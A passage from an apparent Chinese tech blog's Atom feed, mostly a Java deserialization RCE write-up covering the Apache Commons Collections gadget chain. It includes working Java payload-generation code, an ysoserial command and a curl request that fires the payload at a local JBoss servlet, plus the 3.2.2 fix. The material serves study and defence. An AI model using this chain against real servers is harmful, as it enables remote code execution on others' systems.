</ol>
</content>
<summary type="html">
<p>##Python import 遇到的几个问题</p>
<p>python 作为一个脚本语言,具有很多优良的特性,笔者最喜欢的大概是他丰富的函数库,同时在工作中自己也会开发一些库来使用,这样就会经常用到 import 功能。譬如我们有如下两个文件:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#bar.py</span><br><span class="line">bar_var=1</span><br></pre></td></tr></table></figure></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#foo.py</span><br><span class="line">from bar import bar_var</span><br><span class="line">foo_var=1</span><br></pre></td></tr></table></figure>
<p>在 foo.py 中我们引入了 bar 中的 bar_var 的变量。下面我们介绍 python 引用的机制及常见的问题。<br>
</summary>
<category term="python" scheme="http://32t.github.io/tags/python/"/>
<category term="import" scheme="http://32t.github.io/tags/import/"/>
</entry>
<entry>
<title>Python import 问题</title>
<link href="http://32t.github.io/2016/11/01/JAVA-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/"/>
<id>http://32t.github.io/2016/11/01/JAVA-反序列化漏洞利用分析/</id>
<published>2016-11-01T10:25:21.000Z</published>
<updated>2016-12-05T05:34:15.000Z</updated>
<content type="html"><h1 id="Java-反序列化任意代码执行漏洞分析与利用"><a href="#Java-反序列化任意代码执行漏洞分析与利用" class="headerlink" title="Java 反序列化任意代码执行漏洞分析与利用"></a>Java 反序列化任意代码执行漏洞分析与利用</h1><p>&#160; &#160; &#160; &#160;2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[<a href="#ref_3">3</a>],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。同年11月6日,FoxGlove Security安全团队的@breenmachine在一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。<br>距离漏洞发布已经有了一年多的时间,仍然有很多网站仍未修复漏洞。</p>
<h2 id="1-漏洞原理"><a href="#1-漏洞原理" class="headerlink" title="1.漏洞原理"></a>1.漏洞原理</h2><h3 id="1-1-Java序列化与反序列化"><a href="#1-1-Java序列化与反序列化" class="headerlink" title="1.1 Java序列化与反序列化"></a>1.1 Java序列化与反序列化</h3><p>&#160; &#160; &#160; &#160;简单的说,把对象转换为字节序列的过程称为对象的序列化。把字节序列恢复为对象的过程称为对象的反序列化。</p>
<p>&#160; &#160; &#160; &#160;Java序列化的目的是为了将某些对象存储到磁盘上,从而长期保存,例如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。<br>或者当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列,才能在网络上传送;接收方则需要把字节序列再恢复为Java对象。<br>一个序列化与反序列化的典型场景如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">import java.io.FileInputStream;</span><br><span class="line">import java.io.FileOutputStream;</span><br><span class="line">import java.io.ObjectInputStream;</span><br><span class="line">import java.io.ObjectOutputStream;</span><br><span class="line">public class deserial &#123;</span><br><span class="line"> public static void main(String args[]) throws Exception &#123;</span><br><span class="line"> String obj = &quot;hello world!&quot;;</span><br><span class="line"></span><br><span class="line"> // 将序列化对象写入文件object.db中</span><br><span class="line"> FileOutputStream fos = new FileOutputStream(&quot;object.db&quot;);</span><br><span class="line"> ObjectOutputStream os = new ObjectOutputStream(fos);</span><br><span class="line"> os.writeObject(obj);</span><br><span class="line"> os.close();</span><br><span class="line"></span><br><span class="line"> // 从文件object.db中读取数据</span><br><span class="line"> FileInputStream fis = new FileInputStream(&quot;object.db&quot;);</span><br><span class="line"> ObjectInputStream ois = new ObjectInputStream(fis);</span><br><span class="line"></span><br><span class="line"> // 通过反序列化恢复对象obj</span><br><span class="line"> String obj2 = (String)ois.readObject();</span><br><span class="line"> System.out.println(obj2);</span><br><span class="line"> ois.close();</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<a id="more"></a>
<h2 id="1-2Java-反序列化漏洞"><a href="#1-2Java-反序列化漏洞" class="headerlink" title="1.2Java 反序列化漏洞"></a>1.2Java 反序列化漏洞</h2><p>&#160; &#160; &#160; &#160;Java 反序列化漏洞的核心在于,由于Java中的类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。在反序列化的时候不需要指定原来的数据类型即可进行反序列化。如下代码仍可以执行:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">import java.io.FileInputStream;</span><br><span class="line">import java.io.FileOutputStream;</span><br><span class="line">import java.io.ObjectInputStream;</span><br><span class="line">import java.io.ObjectOutputStream;</span><br><span class="line">public class deserial &#123;</span><br><span class="line"> public static void main(String args[]) throws Exception &#123;</span><br><span class="line"> String obj = &quot;hello world!&quot;;</span><br><span class="line"> // 将序列化对象写入文件object.db中</span><br><span class="line"> FileOutputStream fos = new FileOutputStream(&quot;object.db&quot;);</span><br><span class="line"> ObjectOutputStream os = new ObjectOutputStream(fos);</span><br><span class="line"> os.writeObject(obj);</span><br><span class="line"> os.close();</span><br><span class="line"> // 从文件object.db中读取数据</span><br><span class="line"> FileInputStream fis = new FileInputStream(&quot;object.db&quot;);</span><br><span class="line"> ObjectInputStream ois = new ObjectInputStream(fis);</span><br><span class="line"> // 通过反序列化恢复对象obj</span><br><span class="line"> Object obj2 = ois.readObject();</span><br><span class="line"> System.out.println(obj2);</span><br><span class="line"> ois.close();</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>&#160; &#160; &#160; &#160;那么对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。</p>
<p>&#160; &#160; &#160; &#160;反序列漏洞由来已久,PHP 和 Python 中也有同样的问题,而在 Java 中问题比较严重的原因是因为一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。<br>例如某些评论所说:<br><img src="http://i4.buimg.com/567571/e92c86dadfbb3033.png" alt="image"></p>
<h2 id="1-3漏洞利用原理"><a href="#1-3漏洞利用原理" class="headerlink" title="1.3漏洞利用原理"></a>1.3漏洞利用原理</h2><p>&#160; &#160; &#160; &#160;该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,新版本的修复方案对相关反射调用进行了限制。</p>
<h3 id="1-3-1-InvokerTransformer-transform-实现程序执行"><a href="#1-3-1-InvokerTransformer-transform-实现程序执行" class="headerlink" title="1.3.1 InvokerTransformer.transform()实现程序执行"></a>1.3.1 InvokerTransformer.transform()实现程序执行</h3><p>&#160; &#160; &#160; &#160;问题函数主要出现在org.apache.commons.collections.Transformer,我们可以看到Transformer接口定义了一个方法。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">public interface Transformer &#123;</span><br><span class="line"></span><br><span class="line"> /**</span><br><span class="line"> * Transforms the input object (leaving it unchanged) into some output object.</span><br><span class="line"> *</span><br><span class="line"> * @param input the object to be transformed, should be left unchanged</span><br><span class="line"> * @return a transformed object</span><br><span class="line"> * @throws ClassCastException (runtime) if the input is the wrong class</span><br><span class="line"> * @throws IllegalArgumentException (runtime) if the input is invalid</span><br><span class="line"> * @throws FunctorException (runtime) if the transform cannot be completed</span><br><span class="line"> */</span><br><span class="line"> public Object transform(Object input);</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>&#160; &#160; &#160; &#160;该接口的作用是给定一个 Object 进行 transform 变换后返回新的 Object,我们看它的实现类:<br><img src="http://i1.piimg.com/567571/08a0898c8e213f96.png" alt=""><br>&#160; &#160; &#160; &#160;其中接口的实现类InvokerTransformer的实现存在问题,我们看该类的transform 函数代码实现:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * Transforms the input to result by invoking a method on the input.</span><br><span class="line"> *</span><br><span class="line"> * @param input the input object to transform</span><br><span class="line"> * @return the transformed result, null if null input</span><br><span class="line"> */</span><br><span class="line">public Object transform(Object input) &#123;</span><br><span class="line"> if (input == null) &#123;</span><br><span class="line"> return null;</span><br><span class="line"> &#125;</span><br><span class="line"> try &#123;</span><br><span class="line"> Class cls = input.getClass();</span><br><span class="line"> Method method = cls.getMethod(iMethodName, iParamTypes);</span><br><span class="line"> return method.invoke(input, iArgs);</span><br><span class="line"></span><br><span class="line"> &#125; catch (NoSuchMethodException ex) &#123;</span><br><span class="line"> throw new FunctorException(&quot;InvokerTransformer: The method &apos;&quot; + iMethodName + &quot;&apos; on &apos;&quot; + input.getClass() + &quot;&apos; does not exist&quot;);</span><br><span class="line"> &#125; catch (IllegalAccessException ex) &#123;</span><br><span class="line"> throw new FunctorException(&quot;InvokerTransformer: The method &apos;&quot; + iMethodName + &quot;&apos; on &apos;&quot; + input.getClass() + &quot;&apos; cannot be accessed&quot;);</span><br><span class="line"> &#125; catch (InvocationTargetException ex) &#123;</span><br><span class="line"> throw new FunctorException(&quot;InvokerTransformer: The method &apos;&quot; + iMethodName + &quot;&apos; on &apos;&quot; + input.getClass() + &quot;&apos; threw an exception&quot;, ex);</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>&#160; &#160; &#160; &#160;发现它可以用反射的方法进行函数调用input 对象的 iMethodName 函数,参数为 iArgs。同时可以看到它的这三个参数都是在构造函数中设置的,均为可控参数。</p>
<h3 id="1-3-2-TransformedMap-checkSetValue-gt-InvokerTransformer-transform"><a href="#1-3-2-TransformedMap-checkSetValue-gt-InvokerTransformer-transform" class="headerlink" title="1.3.2 TransformedMap.checkSetValue()-&gt;InvokerTransformer.transform()"></a>1.3.2 TransformedMap.checkSetValue()-&gt;InvokerTransformer.transform()</h3><p>&#160; &#160; &#160; &#160;我们知道InvokerTransformer这个类的 transformer 函数可以用来执行任意代码,我们需要找调用这个函数的位置。<br><img src="http://i1.piimg.com/567571/d7a54e4d5e624445.png" alt=""><br>&#160; &#160; &#160; &#160;我们看到有很多类调用了这个函数,我们以 TransformedMap 为例子进行介绍。</p>
<h3 id="1-3-3-MapEntry-setValue-gt-TransformedMap-checkSetValue"><a href="#1-3-3-MapEntry-setValue-gt-TransformedMap-checkSetValue" class="headerlink" title="1.3.3 MapEntry.setValue()-&gt;TransformedMap.checkSetValue()"></a>1.3.3 MapEntry.setValue()-&gt;TransformedMap.checkSetValue()</h3><p>&#160; &#160; &#160; &#160; 我们看TransformedMap.checkSetValue()的函数定义如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * Override to transform the value when using &lt;code&gt;setValue&lt;/code&gt;.</span><br><span class="line"> *</span><br><span class="line"> * @param value the value to transform</span><br><span class="line"> * @return the transformed value</span><br><span class="line"> * @since Commons Collections 3.1</span><br><span class="line"> */</span><br><span class="line">protected Object checkSetValue(Object value) &#123;</span><br><span class="line"> return valueTransformer.transform(value);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>&#160; &#160; &#160; &#160; 我们在 eclipse 中查看它TransformedMap.checkSetValue()的调用栈发现它被MapEntry.setValue() 调用:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * Implementation of a map entry that checks additions via setValue.</span><br><span class="line"> */</span><br><span class="line">static class MapEntry extends AbstractMapEntryDecorator &#123;</span><br><span class="line"></span><br><span class="line"> /** The parent map */</span><br><span class="line"> private final AbstractInputCheckedMapDecorator parent;</span><br><span class="line"></span><br><span class="line"> protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) &#123;</span><br><span class="line"> super(entry);</span><br><span class="line"> this.parent = parent;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> public Object setValue(Object value) &#123;</span><br><span class="line"> value = parent.checkSetValue(value);</span><br><span class="line"> return entry.setValue(value);</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>&#160; &#160; &#160; &#160; 在MapEntry.setValue() 中对 parent 进行了 checkSetValue AbstractInputCheckedMapDecorator 类型的parent 是在构造函数中进行设置的。</p>
<p>&#160; &#160; &#160; &#160; TransformedMap是AbstractInputCheckedMapDecorator 的一个子类,只要将 parent 设置为恶意的对象即可。</p>
<p>&#160; &#160; &#160; &#160; 这样如果我们在序列化TransformedMap时指定了恶意的 InvokeTransformer 那么在MapEntry 执行 setValue 调用的时候,就会触发我们的 InvokeTransformer 中设置的恶意代码。<br>例如以下例子:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">import java.util.HashMap;</span><br><span class="line">import java.util.Map;</span><br><span class="line">import java.util.Map.Entry;</span><br><span class="line"></span><br><span class="line">import org.apache.commons.collections.Transformer;</span><br><span class="line">import org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line">import org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line">import org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line">import org.apache.commons.collections.map.TransformedMap;</span><br><span class="line">public class deserial &#123;</span><br><span class="line"> public static void main(String[] args) throws Exception &#123;</span><br><span class="line"> Transformer[] transformers = new Transformer[] &#123;</span><br><span class="line"> new ConstantTransformer(Runtime.class),</span><br><span class="line"> new InvokerTransformer(&quot;getMethod&quot;, new Class[] &#123;</span><br><span class="line"> String.class, Class[].class &#125;, new Object[] &#123;</span><br><span class="line"> &quot;getRuntime&quot;, new Class[0] &#125;),</span><br><span class="line"> new InvokerTransformer(&quot;invoke&quot;, new Class[] &#123;</span><br><span class="line"> Object.class, Object[].class &#125;, new Object[] &#123;</span><br><span class="line"> null, new Object[0] &#125;),</span><br><span class="line"> new InvokerTransformer(&quot;exec&quot;, new Class[] &#123;</span><br><span class="line"> String.class &#125;, new Object[] &#123;&quot;calc.exe&quot;&#125;)&#125;;</span><br><span class="line"></span><br><span class="line"> Transformer transformedChain = new ChainedTransformer(transformers);</span><br><span class="line"></span><br><span class="line"> Map innerMap = new HashMap();</span><br><span class="line"> innerMap.put(&quot;value&quot;, &quot;value&quot;);</span><br><span class="line"> Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);</span><br><span class="line"></span><br><span class="line"> Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();</span><br><span class="line"> onlyElement.setValue(&quot;foobar&quot;);</span><br><span class="line"></span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<h3 id="1-3-4-AnnotationInvocationHandler-readObject-gt-MapEntry-setValue"><a href="#1-3-4-AnnotationInvocationHandler-readObject-gt-MapEntry-setValue" class="headerlink" title="1.3.4 AnnotationInvocationHandler.readObject()-&gt;MapEntry.setValue()"></a>1.3.4 AnnotationInvocationHandler.readObject()-&gt;MapEntry.setValue()</h3><p>&#160; &#160; &#160; &#160; 但是目前的构造还需要依赖于触发Map中某一项去调用setValue(),我们需要想办法通过readObject()直接触发。<br>我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型,同时它在 readObject 中对每一项 memberValue 都调用了 setValue,如下所示:</p>
<p>&#160; &#160; &#160; &#160; 我们可以看到在 AnnotationInvocationHandler类的 readObject 函数中刚好有一个元素memberTypes,被调用了 setValue()方法,因此只需要构造一个 TransformedMap ,将它的 transformer 设置为 InvokeTransformer,然后将其用反射封装为一个AnnotationInvocationHandler类的对象。那么在反序列化在AnnotationInvocationHandler.readObject(xx)事就会触发漏洞,需要注意,这里的触发的类为AnnotationInvocationHandler。<br>生成 Payload 的一种方法如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">import java.io.File;</span><br><span class="line">import java.io.FileOutputStream;</span><br><span class="line">import java.io.ObjectOutputStream;</span><br><span class="line">import java.lang.annotation.Target;</span><br><span class="line">import java.lang.reflect.Constructor;</span><br><span class="line">import java.util.HashMap;</span><br><span class="line">import java.util.Map;</span><br><span class="line"></span><br><span class="line">import org.apache.commons.collections.Transformer;</span><br><span class="line">import org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line">import org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line">import org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line">import org.apache.commons.collections.map.TransformedMap;</span><br><span class="line">public class deserial &#123;</span><br><span class="line"> public static void main(String[] args) throws Exception &#123;</span><br><span class="line"> Transformer[] transformers = new Transformer[] &#123;</span><br><span class="line"> new ConstantTransformer(Runtime.class),</span><br><span class="line"> new InvokerTransformer(&quot;getMethod&quot;, new Class[] &#123;</span><br><span class="line"> String.class, Class[].class &#125;, new Object[] &#123;</span><br><span class="line"> &quot;getRuntime&quot;, new Class[0] &#125;),</span><br><span class="line"> new InvokerTransformer(&quot;invoke&quot;, new Class[] &#123;</span><br><span class="line"> Object.class, Object[].class &#125;, new Object[] &#123;</span><br><span class="line"> null, new Object[0] &#125;),</span><br><span class="line"> new InvokerTransformer(&quot;exec&quot;, new Class[] &#123;</span><br><span class="line"> String.class &#125;, new Object[] &#123;&quot;calc.exe&quot;&#125;)&#125;;</span><br><span class="line"></span><br><span class="line"> Transformer transformedChain = new ChainedTransformer(transformers);</span><br><span class="line"></span><br><span class="line"> Map&lt;String, String&gt; innerMap = new HashMap&lt;String, String&gt;();</span><br><span class="line"> innerMap.put(&quot;value&quot;, &quot;value&quot;);</span><br><span class="line"></span><br><span class="line"> Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);</span><br><span class="line"></span><br><span class="line"> Class cl = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;);</span><br><span class="line"> Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line"> ctor.setAccessible(true);</span><br><span class="line"> Object instance = ctor.newInstance(Target.class, outerMap);</span><br><span class="line"></span><br><span class="line"> File f = new File(&quot;payload.bin&quot;);</span><br><span class="line"> ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));</span><br><span class="line"> out.writeObject(instance);</span><br><span class="line"> out.flush();</span><br><span class="line"> out.close();</span><br><span class="line"></span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<h1 id="2-漏洞利用实例"><a href="#2-漏洞利用实例" class="headerlink" title="2.漏洞利用实例"></a>2.漏洞利用实例</h1><p>&#160; &#160; &#160; &#160; 针对 java 反序列化漏洞,国外有黑客已经写了开源的漏洞利用工具ysoserial<br>,国内也有大神根据该工具制作了 Jenkin 的利用工具。</p>
<h2 id="2-1-Jenkins1-514漏洞利用"><a href="#2-1-Jenkins1-514漏洞利用" class="headerlink" title="2.1 Jenkins1.514漏洞利用"></a>2.1 Jenkins1.514漏洞利用</h2><p>&#160; &#160; &#160; &#160; 首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用(例如readObject())来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头。<br>确定了反序列化输入点后,再查看ClassPath 是否有 ApacheCommonsCollections 库<br>利用国内的漏洞利用工具利用</p>
<p>&#160; &#160; &#160; &#160; 服务器报异常。</p>
<p>&#160; &#160; &#160; &#160; 对于最新版本的2.7.3的 Jenkins则无法成功。</p>
<h2 id="2-2-Jboss6-0-0-Final攻击"><a href="#2-2-Jboss6-0-0-Final攻击" class="headerlink" title="2.2 Jboss6.0.0.Final攻击"></a>2.2 Jboss6.0.0.Final攻击</h2><h3 id="2-2-1-生成-payload"><a href="#2-2-1-生成-payload" class="headerlink" title="2.2.1 生成 payload"></a>2.2.1 生成 payload</h3><p>&#160; &#160; &#160; &#160; 使用ysoserial生成 payload,如下:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-0.0.4-all.jar CommonsCollections1 &apos;touch /tmp/hacked&apos; &gt; payload.bin</span><br></pre></td></tr></table></figure>
<h3 id="2-2-2-用-curl-发送-payload:"><a href="#2-2-2-用-curl-发送-payload:" class="headerlink" title="2.2.2 用 curl 发送 payload:"></a>2.2.2 用 curl 发送 payload:</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl --header &apos;Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue&apos; --data-binary &apos;@payload.out&apos; http://127.0.0.1:8080/invoker/JMXInvokerServlet</span><br></pre></td></tr></table></figure>
<p><img src="http://i1.piimg.com/567571/8122b74dfda459f6.png" alt=""></p>
<p>&#160; &#160; &#160; &#160;可以看到<code>/tmp/hacked</code> 被创建<br><img src="http://i1.piimg.com/567571/7154118dfaf01543.png" alt=""><br>&#160; &#160; &#160; &#160;但是目前存在的问题是其他有的指令无法执行。</p>
<h1 id="3-漏洞修复"><a href="#3-漏洞修复" class="headerlink" title="3.漏洞修复"></a>3.漏洞修复</h1><p>&#160; &#160; &#160; &#160; ApacheCommonsCollections在3.2.2中修复了漏洞。对这些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括<code>CloneTransformer,ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure</code>。</p>
<p>&#160; &#160; &#160; &#160;例如 InvokerTransformer 中,如果对该对象序列化,则会报异常。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * Overrides the default writeObject implementation to prevent</span><br><span class="line"> * serialization (see COLLECTIONS-580).</span><br><span class="line"> */</span><br><span class="line">private void writeObject(ObjectOutputStream os) throws IOException &#123;</span><br><span class="line"> FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);</span><br><span class="line"> os.defaultWriteObject();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * Overrides the default readObject implementation to prevent</span><br><span class="line"> * de-serialization (see COLLECTIONS-580).</span><br><span class="line"> */</span><br><span class="line">private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException &#123;</span><br><span class="line"> FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);</span><br><span class="line"> is.defaultReadObject();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<h1 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h1><p><span id="ref_3">[3]:</span> <a href="https://github.com/frohoff/ysoserial/" target="_blank" rel="external">https://github.com/frohoff/ysoserial/</a></p>
<p><span id="ref_3">[2]:</span><br><a href="http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss" target="_blank" rel="external">http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss</a></p>
<p><span id="ref_3">[3]:</span><br><a href="http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles" target="_blank" rel="external">http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles</a></p>
</content>
<summary type="html">
<h1 id="Java-反序列化任意代码执行漏洞分析与利用"><a href="#Java-反序列化任意代码执行漏洞分析与利用" class="headerlink" title="Java 反序列化任意代码执行漏洞分析与利用"></a>Java 反序列化任意代码执行漏洞分析与利用</h1><p>&#160; &#160; &#160; &#160;2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[<a href="#ref_3">3</a>],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。同年11月6日,FoxGlove Security安全团队的@breenmachine在一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。<br>距离漏洞发布已经有了一年多的时间,仍然有很多网站仍未修复漏洞。</p>
